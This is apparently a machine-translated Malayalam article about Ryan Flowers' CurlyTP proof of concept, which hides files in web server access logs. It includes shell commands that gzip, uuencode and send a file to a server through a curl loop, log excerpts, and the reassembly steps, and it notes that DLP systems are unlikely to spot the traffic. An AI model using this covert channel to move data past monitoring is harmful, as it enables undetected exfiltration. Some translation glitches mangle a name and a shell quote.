വിക്കിപീഡിയ നിർവചനം അനുസരിച്ച്, ഒരു രഹസ്യ ലൊക്കേഷൻ ഉപയോഗിക്കുന്ന ആളുകൾക്കിടയിൽ വിവരങ്ങളോ ചില ഇനങ്ങളോ കൈമാറാൻ സഹായിക്കുന്ന ഒരു ഗൂഢാലോചന ഉപകരണമാണ് ഡെഡ് ഡ്രോപ്പ്. ആളുകൾ ഒരിക്കലും കണ്ടുമുട്ടില്ല എന്നതാണ് ആശയം - എന്നാൽ പ്രവർത്തന സുരക്ഷ നിലനിർത്താൻ അവർ ഇപ്പോഴും വിവരങ്ങൾ കൈമാറുന്നു.

ഒളിച്ചിരിക്കുന്ന സ്ഥലം ശ്രദ്ധ ആകർഷിക്കരുത്. അതിനാൽ, ഓഫ്‌ലൈൻ ലോകത്ത് അവർ പലപ്പോഴും വിവേകപൂർണ്ണമായ കാര്യങ്ങൾ ഉപയോഗിക്കുന്നു: ചുവരിൽ ഒരു അയഞ്ഞ ഇഷ്ടിക, ഒരു ലൈബ്രറി പുസ്തകം അല്ലെങ്കിൽ ഒരു മരത്തിലെ പൊള്ളയായ.

ഇൻറർനെറ്റിൽ നിരവധി എൻക്രിപ്ഷൻ, അജ്ഞാതവൽക്കരണം ടൂളുകൾ ഉണ്ട്, എന്നാൽ ഈ ടൂളുകൾ ഉപയോഗിക്കുന്നതിന്റെ വസ്തുത ശ്രദ്ധ ആകർഷിക്കുന്നു. കൂടാതെ, അവർ കോർപ്പറേറ്റ് അല്ലെങ്കിൽ സർക്കാർ തലത്തിൽ തടയപ്പെട്ടേക്കാം. എന്തുചെയ്യും?

ഡവലപ്പർ റയാൻ ഫ്ലവേഴ്സ് ഒരു രസകരമായ ഓപ്ഷൻ നിർദ്ദേശിച്ചു - ഒരു ഒളിയിടമായി ഏതെങ്കിലും വെബ് സെർവർ ഉപയോഗിക്കുക. നിങ്ങൾ അതിനെക്കുറിച്ച് ചിന്തിക്കുകയാണെങ്കിൽ, ഒരു വെബ് സെർവർ എന്താണ് ചെയ്യുന്നത്? അഭ്യർത്ഥനകൾ സ്വീകരിക്കുകയും ഫയലുകൾ നൽകുകയും ലോഗുകൾ എഴുതുകയും ചെയ്യുന്നു. അത് എല്ലാ അഭ്യർത്ഥനകളും ലോഗ് ചെയ്യുന്നു, തെറ്റായവ പോലും!

ഏത് വെബ് സെർവറും ലോഗിലെ ഏത് സന്ദേശവും സംരക്ഷിക്കാൻ നിങ്ങളെ അനുവദിക്കുന്നുവെന്ന് ഇത് മാറുന്നു. ഇത് എങ്ങനെ ഉപയോഗിക്കാമെന്ന് പൂക്കൾ ചിന്തിച്ചു.

അവൻ ഈ ഓപ്ഷൻ വാഗ്ദാനം ചെയ്യുന്നു:

1. ഒരു ടെക്സ്റ്റ് ഫയൽ (രഹസ്യ സന്ദേശം) എടുത്ത് ഹാഷ് (md5sum) കണക്കാക്കുക.
2. ഞങ്ങൾ അത് എൻകോഡ് ചെയ്യുന്നു (gzip+uuencode).
3. സെർവറിലേക്കുള്ള മനഃപൂർവ്വം തെറ്റായ അഭ്യർത്ഥന ഉപയോഗിച്ച് ഞങ്ങൾ ലോഗിലേക്ക് എഴുതുന്നു.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ഒരു ഫയൽ വായിക്കാൻ, നിങ്ങൾ റിവേഴ്സ് ഓർഡറിൽ ഈ പ്രവർത്തനങ്ങൾ നടത്തേണ്ടതുണ്ട്: ഫയൽ ഡീകോഡ് ചെയ്ത് അൺസിപ്പ് ചെയ്യുക, ഹാഷ് പരിശോധിക്കുക (ഹാഷ് തുറന്ന ചാനലുകളിലൂടെ സുരക്ഷിതമായി കൈമാറാൻ കഴിയും).

ഇടങ്ങൾ മാറ്റിസ്ഥാപിക്കുന്നു =+=അതിനാൽ വിലാസത്തിൽ സ്‌പെയ്‌സുകളില്ല. രചയിതാവ് CurlyTP എന്ന് വിളിക്കുന്ന പ്രോഗ്രാം, ഇമെയിൽ അറ്റാച്ച്‌മെന്റുകൾ പോലെ ബേസ്64 എൻകോഡിംഗ് ഉപയോഗിക്കുന്നു. ഒരു കീവേഡ് ഉപയോഗിച്ചാണ് അഭ്യർത്ഥന നടത്തുന്നത് ?transfer?അതിനാൽ സ്വീകർത്താവിന് അത് ലോഗുകളിൽ എളുപ്പത്തിൽ കണ്ടെത്താനാകും.

ഈ കേസിൽ ലോഗുകളിൽ നമ്മൾ എന്താണ് കാണുന്നത്?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

ഇതിനകം സൂചിപ്പിച്ചതുപോലെ, ഒരു രഹസ്യ സന്ദേശം ലഭിക്കുന്നതിന് നിങ്ങൾ റിവേഴ്സ് ഓർഡറിൽ പ്രവർത്തനങ്ങൾ നടത്തേണ്ടതുണ്ട്:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

പ്രക്രിയ ഓട്ടോമേറ്റ് ചെയ്യാൻ എളുപ്പമാണ്. Md5sum പൊരുത്തപ്പെടുത്തുന്നു, ഫയലിന്റെ ഉള്ളടക്കങ്ങൾ എല്ലാം ശരിയായി ഡീകോഡ് ചെയ്തതായി സ്ഥിരീകരിക്കുന്നു.

രീതി വളരെ ലളിതമാണ്. “നിഷ്കളങ്കമായ ചെറിയ വെബ് അഭ്യർത്ഥനകളിലൂടെ ഫയലുകൾ കൈമാറാൻ കഴിയുമെന്ന് തെളിയിക്കുക എന്നതാണ് ഈ വ്യായാമത്തിന്റെ ലക്ഷ്യം, കൂടാതെ ഇത് പ്ലെയിൻ ടെക്സ്റ്റ് ലോഗുകളുള്ള ഏത് വെബ് സെർവറിലും പ്രവർത്തിക്കുന്നു. അടിസ്ഥാനപരമായി, ഓരോ വെബ് സെർവറും ഒരു മറഞ്ഞിരിക്കുന്ന സ്ഥലമാണ്!” ഫ്ലവേഴ്സ് എഴുതുന്നു.

തീർച്ചയായും, സ്വീകർത്താവിന് സെർവർ ലോഗുകളിലേക്ക് ആക്സസ് ഉണ്ടെങ്കിൽ മാത്രമേ രീതി പ്രവർത്തിക്കൂ. എന്നാൽ അത്തരം പ്രവേശനം നൽകുന്നു, ഉദാഹരണത്തിന്, പല ഹോസ്റ്റർമാരും.

ഇതെങ്ങനെ ഉപയോഗിക്കണം?

താൻ ഒരു ഇൻഫർമേഷൻ സെക്യൂരിറ്റി വിദഗ്ധനല്ലെന്നും CurlyTP-യുടെ സാധ്യമായ ഉപയോഗങ്ങളുടെ ഒരു ലിസ്റ്റ് കംപൈൽ ചെയ്യില്ലെന്നും റയാൻ ഫ്ലവേഴ്സ് പറയുന്നു. അവനെ സംബന്ധിച്ചിടത്തോളം, നാം ദിവസവും കാണുന്ന പരിചിതമായ ഉപകരണങ്ങൾ പാരമ്പര്യേതര രീതിയിൽ ഉപയോഗിക്കാമെന്ന ആശയത്തിന്റെ തെളിവ് മാത്രമാണ്.

വാസ്തവത്തിൽ, ഈ രീതിക്ക് മറ്റ് സെർവർ "മറയ്ക്കുക" പോലെയുള്ള നിരവധി ഗുണങ്ങളുണ്ട് ഡിജിറ്റൽ ഡെഡ് ഡ്രോപ്പ് അഥവാ പൈറേറ്റ്ബോക്സ്: ഇതിന് സെർവർ ഭാഗത്ത് പ്രത്യേക കോൺഫിഗറേഷനോ പ്രത്യേക പ്രോട്ടോക്കോളുകളോ ആവശ്യമില്ല - ട്രാഫിക് നിരീക്ഷിക്കുന്നവരിൽ സംശയം ജനിപ്പിക്കില്ല. ഒരു SORM അല്ലെങ്കിൽ DLP സിസ്റ്റം കംപ്രസ് ചെയ്ത ടെക്സ്റ്റ് ഫയലുകൾക്കായി URL-കൾ സ്കാൻ ചെയ്യാൻ സാധ്യതയില്ല.

സേവന ഫയലുകൾ വഴി സന്ദേശങ്ങൾ കൈമാറുന്നതിനുള്ള ഒരു മാർഗമാണിത്. ചില വികസിത കമ്പനികൾ എങ്ങനെ സ്ഥാപിച്ചുവെന്ന് നിങ്ങൾക്ക് ഓർമ്മിക്കാം HTTP തലക്കെട്ടുകളിലെ ഡെവലപ്പർ ജോലികൾ അല്ലെങ്കിൽ HTML പേജുകളുടെ കോഡിൽ.

ഒരു സാധാരണ വ്യക്തി തലക്കെട്ടുകളിലേക്കോ HTML കോഡിലേക്കോ നോക്കാത്തതിനാൽ വെബ് ഡെവലപ്പർമാർ മാത്രമേ ഈ ഈസ്റ്റർ എഗ് കാണൂ എന്നായിരുന്നു ആശയം.

അവലംബം: www.habr.com